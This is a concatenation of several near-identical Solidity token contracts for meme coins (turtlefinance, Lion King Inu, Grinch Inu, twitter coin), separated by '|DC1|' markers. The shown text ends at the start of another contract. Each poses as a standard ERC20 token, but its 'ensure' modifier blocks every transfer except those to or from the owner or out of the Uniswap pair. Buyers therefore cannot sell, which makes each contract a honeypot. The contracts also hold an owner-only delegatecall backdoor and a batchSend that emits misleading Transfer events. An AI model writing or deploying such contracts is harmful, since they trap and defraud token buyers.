function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract turtlefinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Website: http://www.lionkinginu.co
Telegram: https://t.me/LionKingInuETH
Twitter: https://www.twitter.com/LionKingInu
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract lion {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Telegram: https://t.me/GrinchInuOfficial
Website: https://www.grinchinu.co/
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ginu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
twitter coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract twittercoin{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Green Arrow Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
